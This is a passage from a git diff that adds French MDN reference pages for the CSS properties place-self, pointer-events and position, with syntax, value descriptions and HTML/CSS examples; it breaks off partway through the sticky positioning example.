+<p>La propriété <code><strong>place</strong></code><strong><code>-self</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui permet de paramétrer les valeurs des propriétés {{cssxref("align-self")}} et  {{cssxref("justify-self")}}. La première valeur sera utilisée pour <code>align-self</code> et la seconde pour <code>justify-self</code>. S'il n'y a pas de seconde valeur, la première sera également utilisée pour <code>justify-self</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/place-self.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+place-self: auto center;
+place-self: normal start;
+
+/* Alignement géométrique */
+place-self: center normal;
+place-self: start auto;
+place-self: end normal;
+place-self: self-start auto;
+place-self: self-end normal;
+place-self: flex-start auto;
+place-self: flex-end normal;
+place-self: left auto;
+place-self: right normal;
+
+/* Alignement relatif à la ligne de base */
+place-self: baseline normal;
+place-self: first baseline auto;
+place-self: last baseline normal;
+place-self: stretch auto;
+
+/* Valeurs globales */
+place-self: inherit;
+place-self: initial;
+place-self: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La valeur utilise celle de {{cssxref("align-items")}} pour l'élément parent.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé aura un sens différent selon le mode de disposition utilisé :
+ <ul>
+  <li>Pour les dispositions avec un positionnment absolu, ce mot-clé se comporte comme <code>start</code> pour les boîtes des éléments remplacés ou comme <code>stretch</code> pour les autres boîtes positionnées de façon absolue.</li>
+  <li>Pour les éléments positionnés de façon statique au sein d'une disposition absolue, ce mot-clé agira comme <code>stretch</code></li>
+  <li>Pour les cellules de tableaux, ce mot-clé n'a pas de signification car cette propriété est ignorée.</li>
+  <li>Pour les éléments disposés en blocs, cette propriété est ignorée.</li>
+  <li>Pour les dispositions qui utilisent les boîtes flexibles, ce mot-clé n'a pas de signification car cette propriété est ignorée<em>.</em></li>
+  <li>Pour les dispositions qui utilisent une grille, ce mot-clé aura un comportement proche de <code>stretch</code>, sauf pour les boîtes qui ont des dimensions intrinsèques, dans ce cas, il est synonyme de <code>start</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>self-start</code></dt>
+ <dd>Les éléments sont alignés sur le bord du conteneur vers le début de l'axe en bloc.</dd>
+ <dt><code>self-end</code></dt>
+ <dd>Les éléments sont alignés sur le bord du conteneur vers la fin de l'axe en bloc.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Le bord de l'élément flexible au début de l'axe en bloc est aligné avec le début de l'axe en bloc sur la ligne.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Le bord de l'élément flexible à la fin de l'axe en bloc est aligné avec la fin de l'axe en bloc sur la ligne.</dd>
+ <dt><code>center</code></dt>
+ <dd>La boîte de marge de l'élément flexible est centrée sur la ligne par rapport à l'axe en bloc. Si la taille de l'élément est supérieure à celle du conteneur flexible, l'élément dépasse également dans chaque direction.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Ces valeurs permettent de définir l'alignement par rapport à la ligne de base pour l'élément du conteneur avec la ligne de base la plus haute ou la plus basse.<br>
+ Si <code>first baseline</code> n'est pas prise en charge, la valeur correspondra à <code>start</code>, si <code>last baseline</code> n'est pas prise en charge, la valeur correspondra à <code>end</code>.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Si la somme des tailles des éléments est inférieure à la taille du conteneur pour l'axe en ligne, les éléments dimensionnés automatiquement seront élargis de la même longueur tout en respectant les contraintes imposées par {{cssxref("max-height")}}/{{cssxref("max-width")}} (ou par les fonctionnalités équivalentes), afin que l'ensemble des éléments remplisse exactement le conteneur.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#place-self-property", "place-self")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.place-self.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_grilles">Prise en charge pour les grilles</h3>
+
+<p>{{Compat("css.properties.place-self.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Guide sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner des objets dans une grille</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></em></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+ <li>Les propriétés détaillées correspondantes
+  <ul>
+   <li>{{cssxref("align-self")}}</li>
+   <li>{{cssxref("justify-self")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/pointer-events/index.html b/files/fr/web/css/pointer-events/index.html
new file mode 100644
index 0000000000..8d2b91dc73
--- /dev/null
+++ b/files/fr/web/css/pointer-events/index.html
@@ -0,0 +1,146 @@
+---
+title: pointer-events
+slug: Web/CSS/pointer-events
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - SVG
+translation_of: Web/CSS/pointer-events
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS<strong> <code>pointer-events</code></strong> permet aux auteurs de contrôler les circonstances dans lesquelles un élément graphique peut être <a href="/fr/docs/Web/API/Event/target">une cible</a>, c'est-à-dire recevoir des événements de la souris, du pointeur ou du doigt.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/pointer-events.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Lorsque cette propriété n'est pas définie,  pour le contenu SVG, on aura le même effet qu'avec la valeur <code>visiblePainted</code>. Lorsqu'on utilise la valeur <code>none</code>, cela indique que l'élément ne peut pas recevoir d'événement de pointeur mais cela indique également qu'on peut passer « au travers » de l'élément pour atteindre des contrôles qui pourraient être en-dessous/derrière.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+pointer-events: auto;
+pointer-events: none;
+pointer-events: visiblePainted; /* SVG uniquement */
+pointer-events: visibleFill;    /* SVG uniquement */
+pointer-events: visibleStroke;  /* SVG uniquement */
+pointer-events: visible;        /* SVG uniquement */
+pointer-events: painted;        /* SVG uniquement */
+pointer-events: fill;           /* SVG uniquement */
+pointer-events: stroke;         /* SVG uniquement */
+pointer-events: all;            /* SVG uniquement */
+
+/* Valeurs globales */
+pointer-events: inherit;
+pointer-events: initial;
+pointer-events: unset;
+</pre>
+
+<p>La propriété <code>pointer-events</code> est définie grâce à un mot-clé parmi ceux de la liste suivante.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'élément se comporte comme si la propriété <code>pointer-events</code> n'était pas spécifiée. Pour le contenu SVG, cette valeur et la valeur <code>visiblePainted</code> ont le même effet.</dd>
+ <dt><code>none</code></dt>
+ <dd>L'élément ne sera jamais <a href="/fr/docs/Web/API/Event/target">la cible</a> d'événements de pointeur. Toutefois, les événements peuvent atteindre les éléments qui sont des descendants si ceux-ci ont une autre valeur pour <code>pointer-events</code>. Sous ces circonstances, les événements déclencheront les gestionnaires d'événement sur l'élément parent jusqu'à/depuis l'élément descendant lors de la phase de capture/<a href="/fr/docs/Web/API/Event/bubbles">bouillonnement</a> de l'événement.</dd>
+</dl>
+
+<h4 id="Valeurs_uniquement_utilisables_avec_SVG">Valeurs uniquement utilisables avec SVG</h4>
+
+<dl>
+ <dt><code>visiblePainted</code></dt>
+ <dd>L'élément ne peut être la cible d'un événement de pointeur que si la propriété <code>visibility</code> vaut <code>visible</code> et lorsque le pointeur est au-dessus de l'intérieur de l'élément et que la valeur de la propriété <code>fill</code> n'est pas <code>none</code> ou lorsque le pointeur de la souris est au-dessus du contour de l'élément et que la valeur de la propriété <code>stroke</code> n'est pas <code>none</code>.</dd>
+ <dt><code>visibleFill</code></dt>
+ <dd>L'élément ne peut être la cible d'un événement de pointeur que si la propriété <code>visibility</code> vaut <code>visible</code> et lorsque le pointeur est au-dessus de l'intérieur de l'élément. La valeur de la propriété <code>fill</code> n'a pas d'impact sur le traitement des événements.</dd>
+ <dt><code>visibleStroke</code></dt>
+ <dd>L'élément ne peut être la cible d'un événement de pointeur que si la propriété <code>visibility</code> vaut <code>visible</code> et lorsque le pointeur de la souris est au-dessus du contour de l'élément. La valeur de la propriété <code>stroke</code> n'a pas d'impact sur le traitement des événements.</dd>
+ <dt><code>visible</code></dt>
+ <dd>L'élément ne peut être la cible d'un événement de pointeur que si la propriété <code>visibility</code> vaut <code>visible</code> et lorsque le pointeur est au-dessus de l'intérieur de l'élément ou lorsque le pointeur de la souris est au-dessus du contour de l'élément. Les valeurs de <code>fill</code> et <code>stroke</code> n'ont pas d'impact sur le traitement des événements.</dd>
+ <dt><code>painted</code></dt>
+ <dd>L'élément ne peut être la cible d'un événement de pointeur que lorsque le pointeur est au-dessus de l'intérieur de l'élément et que la valeur de la propriété <code>fill</code> n'est pas <code>none</code> ou lorsque le pointeur de la souris est au-dessus du contour de l'élément et que la valeur de la propriété <code>stroke</code> n'est pas <code>none</code>. La valeur de <code>visibility</code> n'a pas d'impact sur le traitement des événements.</dd>
+ <dt><code>fill</code></dt>
+ <dd>L'élément ne peut être la cible d'un événement de pointeur que lorsque le pointeur est au-dessus de l'intérieur de l'élément. Les valeurs de <code>fill</code> et de <code>visibility</code> n'ont pas d'impact sur le traitement des événements.</dd>
+ <dt><code>stroke</code></dt>
+ <dd>L'élément ne peut être la cible d'un événement de pointeur que lorsque le pointeur est au-dessus du contour de l'élément. Les valeurs de <code>stroke</code> et de <code>visibility</code> n'ont pas d'impact sur le traitement des événements.</dd>
+ <dt><code>all</code></dt>
+ <dd>L'élément ne peut être la cible d'un événement de pointeur que lorsque le pointeur est au-dessus de l'intérieur de l'élément ou lorsque le pointeur de la souris est au-dessus du contour de l'élément. Les valeurs de <code>fill</code>, <code>stroke</code> et de <code>visibility</code> n'ont pas d'impact sur le traitement des événements.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on rend le lien http://exemple.com inactif.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="https://developer.mozilla.org"&gt;MDN&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://exemple.com"&gt;exemple.com&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">a[href="http://exemple.com"] {
+  pointer-events: none;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div>{{EmbedLiveSample('Exemples', "500", "100")}}</div>
+
+<h2 id="Notes">Notes</h2>
+
+<p>L'utilisation de <code>pointer-events</code> peut empêcher que des événements soient directement déclenchés sur l'élément avec les pointeurs. Cela ne signifie en aucun cas que les gestionnaires d'événement de cet élément ne pourront pas être déclenchés ! Si l'un des éléments descendants possède une valeur explicite de <code>pointer-events</code> qui lui permet de recevoir des événements de pointeur, les événements qui parcourent les ancêtres pourront déclencher les gestionnaires d'événements associés. Bien entendu, tout pointage, qui a lieu sur un endroit de l'écran qui est couvert par le parent mais pas par l'élément descendant, ne déclenchera d'événement. L'événement passera au travers du parent et ciblera le contenu qui est en-dessous.</p>
+
+<p>Les éléments avec <code>pointer-events: none</code> continueront de recevoir le focus via la navigation au clavier avec la touche <kbd>Tab</kbd>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'interact.html#PointerEventsProperty', 'pointer-events')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG2', 'interact.html#PointerEventsProperty', 'pointer-events')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>L'extension de cette propriété aux éléments HTML, bien qu'elle fut présente dans les premiers brouillons de la spécification <em>CSS Basic User Interface Module Level 3</em>, a été remise à la spécification de <a class="external" href="https://wiki.csswg.org/spec/css4-ui#pointer-events"> niveau 4</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.pointer-events")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'attribut SVG {{SVGAttr("pointer-events")}}</li>
+ <li>L'attribut SVG {{SVGAttr("visibility")}}</li>
+ <li>La propriété {{cssxref("user-select")}} qui contrôle lorsque l'utilisateur peut sélectionner du texte</li>
+ <li><a class="external" href="https://webkit.org/specs/PointerEventsProperty.html">« Spécification » WebKit pour étendre la propriété pointer-events</a> au contenu (X)HTML</li>
+ <li><a href="http://www.thecssninja.com/javascript/pointer-events-60fps">Un défilement à 60fps en utilisant <code>pointer-events: none</code> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/position/index.html b/files/fr/web/css/position/index.html
new file mode 100644
index 0000000000..d1ab95d2ec
--- /dev/null
+++ b/files/fr/web/css/position/index.html
@@ -0,0 +1,344 @@
+---
+title: position
+slug: Web/CSS/position
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>position</code></strong> définit la façon dont un élément est positionné dans un document. Les propriétés {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} et {{cssxref("left")}} déterminent l'emplacement final de l'élément positionné.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/position.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h3 id="Types_de_positionnement">Types de positionnement</h3>
+
+<ul>
+ <li>Un <strong>élément positionné</strong> est un élément dont la propriété de position <a href="/fr/docs/Web/CSS/Valeur_calculée">calculée</a> est <code>relative</code>, <code>absolute</code>, <code>fixed</code> ou <code>sticky</code>.</li>
+ <li>Un <strong>élément positionné de façon relative</strong> est un élément dont la propriété de position calculée est <code>relative</code>. Dans ce cas, les propriétés {{cssxref("top")}} ou {{cssxref("bottom")}} indiquent le décalage vertical à appliquer et {{cssxref("left")}} ou {{cssxref("right")}} indiquent le décalage horizontal.</li>
+ <li>Un <strong>élément positionné de façon absolue</strong> est un élément dont la propriété de position calculée est <code>absolute</code> ou <code>fixed</code>. Dans ce cas, les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("right")}} et {{cssxref("left")}} indiquent les distances entre les bords de l'élément et les bords du bloc englobant (c'est-à-dire l'ancêtre par rapport auquel l'élément est positionné). Si l'élément possède des marges, elles sont ajoutées aux décalages.</li>
+ <li>Un <strong>élément positionné en adhérence</strong> est un élément dont la propriété de position calculée vaut <code>sticky</code>. Un tel élément se comporte comme un élément positionné de façon relative jusqu'à ce que son bloc englobant dépasse un seuil donné (par exemple fourni par la valeur de {{cssxref("top")}}) au sein du conteneur puis il se comporte ensuite comme un élément fixe jusqu'à atteindre le bord opposé du bloc englobant.</li>
+</ul>
+
+<p>La plupart du temps, les éléments positionnés de façon absolue ont leurs propriétés {{cssxref("height")}} et {{cssxref("width")}} qui valent <code>auto</code> afin que le contenu ait suffisamment d'espace. Toutefois, les éléments positionnés de façon absolue et qui ne sont pas des éléments remplacés peuvent remplir l'espace vertical en utilisant {{cssxref("top")}} et {{cssxref("bottom")}} tout en laissant {{cssxref("height")}} indéfini (c'est-à-dire avec la valeur <code>auto</code>). On pourra faire de même pour l'espace horizontal avec les propriétés {{cssxref("left")}} et {{cssxref("right")}}.</p>
+
+<p>Sauf dans le cas précédemment énoncé des éléments positionnés de façon absolue et qui remplissent l'espace :</p>
+
+<ul>
+ <li>Si <code>top</code> et <code>bottom</code> sont tous les deux définis (enfin, s'ils ne valent pas <code>auto</code>), c'est <code>top</code> qui aura la priorité</li>
+ <li>Si <code>left</code> et <code>right</code> sont tous les deux définis, c'est <code>left</code> qui aura la priorité si la direction du texte est de gauche à droite (LTR) et <code>right</code> qui aura la priorité si la direction du texte est de droite à gauche (RTL) (par exemple en perse, arabe, hébreu).</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+position: static;
+position: relative;
+position: absolute;
+position: fixed;
+position: sticky;
+
+/* Valeurs globales*/
+position: inherit;
+position: initial;
+position: unset;
+</pre>
+
+<p>La propriété <code>position</code> peut être définie avec l'un des mots-clés de la liste suivante.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>static</code></dt>
+ <dd>Comportement normal (par défaut). L'élément est alors positionné dans le flux avec sa position. Les propriétés {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("z-index")}} ne s'appliquent pas.</dd>
+ <dt><code>relative</code></dt>
+ <dd>L'élément est positionné dans le flux normal du document puis décalé, par rapport à lui-même, selon les valeurs fournies par <code>top</code>, <code>right</code>, <code>bottom</code> et <code>left</code>. Le décalage n'a pas d'impact sur la position des éléments. Aussi, l'espace fourni à l'élément sur la page est le même que celui fourni avec <code>static</code>.</dd>
+ <dd>Cette valeur crée un nouveau <a href="/fr/docs/Glossaire/Contexte_d_empilement">contexte d'empilement</a> lorsque <code>z-index</code> ne vaut pas <code>auto</code>. L'effet de cette valeur n'est pas défini pour les éléments <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code> et <code>table-caption</code>.</dd>
+ <dt><code>absolute</code></dt>
+ <dd>L'élément est retiré du flux normal et aucun espace n'est créé pour l'élément sur la page. Il est ensuite positionné par rapport à son ancêtre le plus proche qui est positionné s'il y en a un ou par rapport au bloc englobant initial sinon. La position finale de l'élément est déterminée par les valeurs de <code>top</code>, <code>right</code>, <code>bottom</code> et <code>left</code>.</dd>
+ <dd>Cette valeur crée un nouveau <a href="/fr/docs/Glossaire/Contexte_d_empilement">contexte d'empilement</a> lorsque <code>z-index</code> ne vaut pas <code>auto</code>. Les éléments positionnés de façon absolue peuvent avoir des marges, ces marges ne fusionnent pas avec les autres marges.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>L'élément est retiré du flux normal et aucun espace n'est laissé pour l'élément. L'élément est positionné relativement au bloc englobant initial formé par la zone d'affichage (<em>viewport</em>), sauf si un des ancêtres a une propriété {{cssxref("transform")}}, {{cssxref("perspective")}} ou {{cssxref("filter")}} qui est différente de <code>none</code> (voir <a href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">la spécification sur les transformations CSS</a>) ; dans ce cas, c'est l'élément ancêtre qui joue le rôle de bloc englobant. Cela empêche le défilement lorsque la page est parcourue (ou lors de l'impression, le positionne à cette position fixe pour <em>chaque page</em>). Cette valeur crée toujours un nouveau contexte d'empilement. Certains incohérences existent entre les navigateurs quant au rôle de <code>perspective</code> et <code>filter</code> pour la définition du bloc englobant. La valeur finale de l'élément est déterminée par les valeurs de <code>top</code>, <code>right</code>, <code>bottom</code> et <code>left</code>.</dd>
+ <dd>Cette valeur crée toujours un nouveau <a href="/fr/docs/Glossaire/Contexte_d_empilement">contexte d'empilement</a>. Pour les documents imprimés, cela se traduit par le placement de l'élément au même endroit pour <em>chacune des pages</em>.</dd>
+ <dt><code>sticky</code></dt>
+ <dd>La position de la boîte est calculée en fonction du flux normal du document. Ensuite, la boîte est décalée par rapport à son ancêtre de défilement le plus proche et par rapport à <a href="/fr/docs/Web/CSS/A_Propos_Du_Bloc_Conteneur">son bloc englobant</a> selon les valeurs de <code>top</code>, <code>right</code>, <code>bottom</code> et <code>left</code>. Dans tous les cas, y compris avec les éléments <code>table</code>, cela n'affecte pas la position des autres éléments.</dd>
+ <dd>Cette valeur entraîne toujours la création d'un nouveau <a href="/fr/docs/Glossaire/Contexte_d_empilement">contexte d'empilement</a>. On notera qu'un tel élément « adhèrera » à l'ancêtre le plus proche qui dispose d'un mécanisme de défilement (c'est-à-dire quand <code>overflow</code> vaut <code>hidden</code>, <code>scroll</code>, <code>auto</code> ou <code>overlay</code>) même si cet ancêtre n'est pas nécessairement l'ancêtre de défilement le plus proche : cette valeur ne fonctionnera pas dans un élément pour lequel la propriété vaut <code>overflow: hidden</code> ou <code>auto</code> (<a href="https://github.com/w3c/csswg-drafts/issues/865">cf.: cette <em>issue</em> GitHub</a>).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Positionnement_relatif">Positionnement relatif</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="box" id="un"&gt;Un&lt;/div&gt;
+&lt;div class="box" id="deux"&gt;Deux&lt;/div&gt;
+&lt;div class="box" id="trois"&gt;Trois&lt;/div&gt;
+&lt;div class="box" id="quatre"&gt;Quatre&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.box {
+   display: inline-block;
+   background: red;
+   width: 100px;
+   height: 100px;
+   color: white;
+}
+
+#deux {
+   position: relative;
+   top: 20px;
+   left: 20px;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>Dans cet exemple, on voit comment les autres éléments sont positionnés, comme si « Deux » prenait l'espace de sa position normale.</p>
+
+<p>{{EmbedLiveSample('Positionnement_relatif', '600px', '200px')}}</p>
+
+<h3 id="Positionnement_absolu">Positionnement absolu</h3>
+
+<p>Les éléments qui sont positionnés de façon relatives sont toujours pris en compte dans le flux normal des éléments du document. En revanche, les éléments positionnés de façon absolue sont retirés du flux et ne prennent donc plus d'espace lorsqu'il s'agit de positionner les autres éléments. Un élément positionné de façon absolu est positionné par rapport à son plus proche ancêtre positionné. S'il n'y a pas de tel ancêtre, c'est le conteneur initial, le bloc englobant la racine du document, qui est utilisé (voir <a href="https://www.w3.org/TR/CSS2/visudet.html#containing-block-details">la définition du W3C</a>).</p>
+
+<p>Dans l'exemple qui suit, on n'a pas d'ancêtre positionné et la boîte « Trois » est positionnée de façon absolue par rapport à l'ancêtre immédiat (l'élément <code>&lt;body&gt;</code> de l'<code>iframe</code> générée ici) :</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;h1&gt;Positionnement absolu&lt;/h1&gt;
+&lt;p&gt;Un élément de bloc simple. Les éléments de bloc adjacents sont sur de nouvelles lignes en-dessous.&lt;/p&gt;
+&lt;p class="positioned"&gt;Par défaut, on occupe 100% de la largeur de l'élément parent et on est aussi grand que notre contenu.&lt;/p&gt;
+&lt;p&gt;Nous sommes séparés par nos marges (une seule marge en raison de la fusion des marges).&lt;/p&gt;
+&lt;p&gt;Les éléments &lt;em&gt;inline&lt;/em&gt; &lt;span&gt;comme celui-ci&lt;/span&gt; et &lt;span&gt;celui-là&lt;/span&gt; se situent sur la même ligne avec également les noeuds texte. S'il y a de l'espace sur la même ligne. Les éléments qui dépassent &lt;span&gt;passent à la ligne si possible — comme pour ce texte.&lt;/span&gt; ou cette image &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Positionnement_absolu', '100%', 420)}}</p>
+
+<h3 id="Positionnement_fixe">Positionnement fixe</h3>
+
+<p>Le positionnement fixe est semblable au positionnement absolu sauf qu'ici, le bloc englobant correspond au <em>viewport</em> si aucun ancêtre de l'élément ne possède une propriété {{cssxref("transform")}}, {{cssxref("perspective")}} ou {{cssxref("filter")}} qui est différente de <code>none</code>. On utilise souvent ce positionnement pour créer un élément flottant qui reste à la même position, même lorsqu'on fait défiler la page. Dans l'exemple qui suit, la boîte « Un » est fixée à 80 pixels du haut de la page et à 20 pixels du bord gauche.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  &lt;/p&gt;
+  &lt;div class="box" id="un"&gt;Un&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.box {
+  background: red;
+  width: 100px;
+  height: 100px;
+  margin: 20px;
+  color: white;
+}
+#un {
+  position: fixed;
+  top: 80px;
+  left: 10px;
+}
+.outer {
+  width: 500px;
+  height: 300px;
+  overflow: scroll;
+  padding-left: 150px;
+}
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>Lorsqu'on regarde le haut de la page, la boîte apparaît en haut à gauche, même après avoir défilé, elle reste à la même place par rapport au <em>viewport</em> :</p>
+
+<p>{{EmbedLiveSample('Positionnement_fixe', '800px', '300px')}}</p>
+
+<h3 id="Positionnement_adhérent_(sticky)">Positionnement adhérent (<em>sticky</em>)</h3>
+
+<p>Le positionnement adhérent est un mélange de positionnement relatif et de positionnement fixe. L'élément est considéré comme positionné de façon relative, jusqu'à ce qu'un seuil soit franchi. À partir de ce seuil, l'élément est positionné de façon fixe. Par exemple :</p>
+
+<pre class="brush: css">#un {
